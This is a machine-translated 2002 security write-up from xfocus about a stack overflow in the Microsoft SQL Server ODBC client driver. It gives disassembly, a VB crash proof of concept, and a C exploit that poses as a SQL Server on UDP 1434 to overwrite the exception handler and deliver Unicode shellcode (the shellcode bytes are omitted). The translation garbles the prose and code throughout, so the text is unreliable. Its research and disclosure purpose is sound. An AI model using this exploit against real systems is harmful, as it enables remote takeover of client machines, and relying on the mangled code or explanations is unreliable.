MS SQL Server ODBC Drive SQL Server Replains the Stack overflow Vulnerability
Create time: 2002-09-23
Article attribute: original
Article Source:
http://www.xfocus.net
Article submission:
Flashsky (Flashsky1_at_sina.com)
Pick, please indicate the author and security focus
Author: FLASHSKY
Site:
Www.xfocus.net
Email: Flashsky@xfocus.org
There is an overflow vulnerability in the SQL Server ODBC driver of the MS, and an attacker can send a well-organized packet to reach the remote control of any host that enters the SQL Server server through the SQL Server ODBC through this vulnerability. So I read the assembly of the two main programs of the SQL Server client: SQLSVR32. DLL and DBNETLIB. DLL. It is found that there is a pile of overflow. The following is mainly based on the self-contained ODBC driver of Chinese W2K Server SP3, and other platforms have not been tested. The English version of the ODBC connection is not like this.
SQL Server ODBC will be converted into a heap after receiving a package, and ";;" is used as a divided symbol between each package.
Let's take a look at the assembly code that it handles:
.TEXT: 74CB72A1 LOC_74CB72A1:
.TEXT: 74CB72A1 MOV EDX, [EBP VAR_4]
.TEXT: 74CB72A4 MOV EAX, [EBP VAR_104C] EBP-0x104C placed the current recycled number
.TEXT: 74CB72AA CMP EAX, [EDX 8] EDX 8 storage received total number
.TEXT: 74CB72AD JGE LOC_74CB70F2
.TEXT: 74CB72B3 MOV ECX, [EBP VAR_1044]]
.Text: 74cb72b9 MOV EDX, [ECX 4]
.Text: 74cb72bc MOV EAX, [EBP VAR_1048]
.Text: 74cb72c2 Lea ECX, [EAX EDX * 2]
.TEXT: 74CB72C5 MOV EDX, [EBP ARG_8]
.TEXT: 74CB72C8 CMP ECX, [EDX]
.TEXT: 74CB72CA JLE SHORT LOC_74CB72D3
.Text: 74cb72cc xor eax, EAX
.TEXT: 74CB72CE JMP LOC_74CB6EB7
.text: 74cb72d3;?
.TEXT: 74CB72D3
.TEXT: 74CB72D3 LOC_74CB72D3:; Code Xref: getnextenumeration 455J
.Text: 74cb72d3 MOV EAX, [EBP VAR_1044]
.Text: 74cb72d9 MOV ECX, [EAX 4] .Text: 74cb72dc push ecx; cchwidechar
.text: 74cb72dd MOV EDX, [EBP ARG_4] EBP ARG_4 is the incoming pile start address
.Text: 74cb72e0 add edx, [EBP VAR_1048] EBP VAR_1048 is the number of stacks used, the initial value is 0
.Text: 74cb72e6 push edx; lpwidecharstr
.Text: 74cb72e7 MOV EAX, [EBP VAR_1044] EBP VAR_1044 Starting to receive a pointer to the structural type array of packets, this array front 4 bytes each package buffer address pointer, and later is the size of the package, its C Definition
Typedef struct _packbuf {
Char * bufpoint;
Long buflen;} Packbuf, * PPACKBUF;
Packbuf SqludPrecV [];
EBP VAR_1044 is a * PPACKBUF = & SQLUDPRECV;
.Text: 74cb72ed MOV ECX, [EAX 4] EAX stored as packet size data
.TEXT: 74CB72F0 PUSH ECX; CCHMULTIBYTE
.TEXT: 74CB72F1 MOV EDX, [EBP VAR_1044]]
.TEXT: 74CB72F7 MOV EAX, [EDX] Load buffer address pointer
.TEXT: 74CB72F9 Add Eax, 3 start copy from the package, three bytes in front of one byte package type, 2 byte package length information
.Text: 74cb72fc push eax; lpmultibytestr
.Text: 74cb72fd push 0; dwflags
.TEXT: 74CB72FF PUSH 0; CODEPAGE
.Text: 74cb7301 Call DS: MultibyToWideChar
.Text: 74cb7307 MOV ECX, [EBP VAR_1044]
.Text: 74cb730d Mov Edx, [ECX 4]
.Text: 74cb7310 MOV EAX, [EBP VAR_1048]
.text: 74cb7316 Lea ECX, [EAX EDX * 2] ECX = package size multiplied by 2 (because it becomes double byte)
.Text: 74cb7319 MOV [EBP VAR_1048], ECX OK! This is the top .Text: 74CB72E0 moves the corresponding pile pointer place .Text: 74cb731f Mov Edx, [EBP VAR_104C]
.TEXT: 74CB7325 Add EDX, 1
.TEXT: 74CB7328 MOV [EBP VAR_104C], EDX cycle number plus 1
.Text: 74cb732e MOV EAX, [EBP VAR_1044]
.Text: 74cb7334 MOV ECX, [EAX 8]
.Text: 74cb7337 MOV [EBP VAR_1044], ECX moves to the next array: EBP VAR_1044 = EBP VAR_1044 8;
.TEXT: 74CB733D JMP LOC_74CB72A1
.TEXT: 74CB733D GetNexTenumeration Endp
Then in the following code, stack overflow: In SQLSVR32.DLL, the main function is analyzed for packet data.
.TEXT: 411B06A5 MOV EDX, [ESP 10h]
.Text: 411B06A9 MOV ECX, 0FAH
.Text: 411B06AE XOR EAX, EAX
.Text: 411B06B0 LEA EDI, [ESP 10H Arg_1c]
.Text: 411B06B4 Repe Stosd
.Text: 411B06B6 Lea ECX, [EDX EDX]
.Text: 411B06B9 MOV ESI, EBP
.Text: 411B06BB MOV EAX, ECX
.Text: 411B06BD Lea EDI, [ESP 10H Arg_1c]
.TEXT: 411B06C1 SHR ECX, 2
.TEXT: 411B06C4 REPE MOVSD
This code puts the data in the original heap to the stack, but the basis of its division is a ";" as a divided symbol, and this assigned space is limited, where 01740 (6000) will be overwritten Return the address. If you send a few packages, as long as you continue in the stack, there is no ";" and 0x00, 0x00, and greater than 6000 (because the Unicode processing will be doubled), it will result in overflow. You can use the following VB code to verify the production of overflows
Dim Str As String
DIM STR1
DIM I
Winsock1.Getdata STR
Str1 = "" & chr (5) & chr (& hff) & chr (& h9) 'is only 0x1000 size package
STR1 = STR1 & STR (4092, "2")
For i = 1 to 200
Winsock1.senddata str1
Next, you open the ODBC manager in the management tool on another LAN's machine, select a SQL Server's system DSN, and then cause this overflow when listening to the drop-down SQL Server server, due to this The code does not contain a special string, so the program will only quit from usus, in fact, tracking the program will find not only abnormalities, but enough data can also override the exception handling address in the abnormal structure, resulting in the execution point of the last program Jump to 0x32003200 (because the overflow string is '2', the ASC code is 0x32, and after the multibytetowideChar processing, the overwrowded exception handler address is 0x32003200), if it can be carefully configured Character content can reach the purpose of the remote control host.
Use this overflow to consider the following questions:
1. The address is overwritten, because it is to be handled by Unicode, the overwritten address must meet the conversion condition
2. Shellcode needs to meet Unicode
3. Since it is necessary to overwrite and get a large amount of data transmission, the package receives only 0x1000 bytes, so it is necessary to send, but due to the previously posted and the heap processing format, only by the 2nd position, if the front The package converted into Unicode is not fully met, there is a plurality of 0x00 in the middle of the package, and if there is 0x00, 0x00 that cannot be copied continuously. So the front package must be an ASC package, which is also limited to the selection of the type of address to overwrite the address.
4. To prevent other SQL Server servers, if it is truncated in the middle.
Problem One is discovered by tracking, its stack position is approximately around 0x6A000, so you can set the address 0x00070007 to overwrite the address, I have been tested in a variety of situations. The problem, is the method of using ISNO's encoding Unicode, and decodes a formal code when the program starts. I use a Unicode shellcode written by ISNO. Track discovery programs are very good, can effectively spare Unicode, but the abnormal handling in shellcode still has problems, I overflow generation, correctly jump and decoding, execute it later Still being captured by an abnormality. This shellcode may still need to improve. The problem is that all of the previously sent ASC code, only sending decodable shellcode at the last package. The problem is a normal packet in front and is appropriately delayed.
Because shellcode is written by Shellcode, it is not listed here: it is also a few questions from the expert pointing:
1. Due to the limitations of the above, the overlay address can only select hard coding, there is no better solution, especially the overlay address, which must be met by MultibyToWideChar processing, otherwise it will cause 0x00 in the heap. And behind the shellcode behind.
2. Now shellcode is still very good to capture exceptions, and my understanding of this area is limited, there is more information on the structure of the exception during operation.
#include
#include
void main ()
{
UNSIGNED Char Buffer [4096];
Unsigned char bufhead [3] = {5,0xfc, 0xf};
Unsigned char buf1 [] = "servername; 11111111; instancename; mssqlserver; isclustered; no; version; 8.00.194; tcp; 1433; np; 11111111 // pipe // sql // query ;;"; // for camouflage Normal packet, delay, and finally the overflow package is transmitted, so that it is not interrupted in the reactor by other packages. UNSIGNED Char BUF2 [4092];
UNSIGNED Char BUF3 [4092];
Unsigned char sendbuf [0x1000];
UNSIGNED CHAR TEMP;
Wsadata wsadata;
Socket sock;
SockAddr_in addr_in;
Handle Listener;
Int E;
INT I;
Int seendlen;
DWORD A1;
Const int SNDBUF = 0;
Const int tcpnodelay = true;
const Int Broadcast = true;
Struct SockAddr_in udpfrom;
INT udpfromlen = sizeof (udpfrom);
Int n;
Unsigned char shellend [4] = {0x4e, 0x4e, 0, 0}; // Used to mark shellcode end
Unsigned char shellcode1 [] = //, is ISNO written
Unsigned char shellcodehead [70] = // 去, is written by ISNO, used to decode shellcode
IF (WsaStartup (MakeWord (2,0), & WSADATA)! = 0)
{
Printf (/ "WSAStartup Error.Error:% d // n /", wsagetlasterror ());
Return False;
}
IF ((Sock = Socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == Invalid_socket
{
Printf (/ "socket failed.error:% d // n /", wsagetlasterror ());
Return False;
}
Sendlen = Widechartomultibyte (0x3a8, wc_compositecheck, shellcodehead, -1, sendbuf, 0x1000, null, null); // Transform the decoded code so that under the MultibyTowideChar processing of the other party, just get the decoding code we want.
Sendlen-;
Memcpy (Sendbuf Sendlen, Shellcode1, Sizeof (shellcode1));
Sendlen = sendlen sizeof (shellcode1); // plus a paragraph of Unicode.
Sendlen-;
I = Widechartomultibyte (0x3a8, wc_compositecheck, shellend, -1, sendbuf sendlen, 0x10, null, null);
Sendlen = sendlen i-1;
// The above constructs a complete self-decoded shellcode
MEMSET (BUF3, 0X4, 4092);
// Due to the seeding, the front must only be a character of 128 or less, which considers the assembly of the zero
This buffer is equivalent to NOP operation, and the assembly after the Unicode encoding is: Add Ax, 0
MEMSET (BUF2, 7, 4092); / / Set buffer overwriting overflow addresses
BUF2 [3000] = 8;
// The overlay address becomes 0x070008, because it is an ASC code, after being processed by MultibyToDechar, the length is exactly 6000, override the address
Addr_in.sin_family = af_INet;
Addr_in.sin_port = htons (1434);
Addr_in.sin_addr.s_un.s_addr = inet_addr (/ "192.168.0.60/");
n = bind (Sock, (SockAddr *) & addr_in, sizeof (addr_in));
// Monitor 1434 UDP port
IF (n! = 0)
{
e = wsagetlasterror ();
Return -1;
}
// Someone is using
N = Recvfrom (Sock, Buffer, Sizeof (Buffer), 0, (Struct SockAddr *) & UDPFROM, & UDPFromlen;
* ((Word *) (BUFHEAD 1)) = sizeof (buf1) -1;
Memcpy (buffer, bufhead, 3);
Memcpy (buffer 3, buf1, sizeof (buf1) -1); // Time extension, avoid packing of other interruptions
For (i = 0; i <4; i )
{
N = Sendto (Sock, Buffer, Sizeof (BUF1) 2, 0, (Struct SockAddr *) & UDPFROM, & UDPFromlen;
Sleep (100);
}
// The above sends 4 normal packages, latency, ensuring that other SQL Server has already returned, the packages you sent below are not broken by other packages.
* ((Word *) (bufhead 1)) = 4092;
Memcpy (buffer, bufhead, 3);
Memcpy (Buffer 3, BUF2, 4092); // Send an address coverage package
N = Sendto (Sock, Buffer, 4095, 0, (struct sockaddr *) & udpfrom, & udpfromlen;
* ((Word *) (bufhead 1)) = 4092;
Memcpy (buffer, bufhead, 3);
Memcpy (Buffer 3, BUF3, 4092); // Sends an empty instruction package to ensure that it can eventually jump to the valid address.
For (i = 0; i <2; i )
N = Sendto (Sock, Buffer, 4095, 0, (struct sockaddr *) & udpfrom, & udpfromlen;
// Write shellcode
* ((Word *) (bufhead 1)) = sendlen;
Memcpy (buffer, bufhead, 3);
Memcpy (Buffer 3, Sendbuf, Sendlen);
n = sendto (Sock, Buffer, Sendlen 3, 0, (struct sockaddr *) & udpfrom, & udpfromlen;
WSACLEANUP ();
Return 0;
}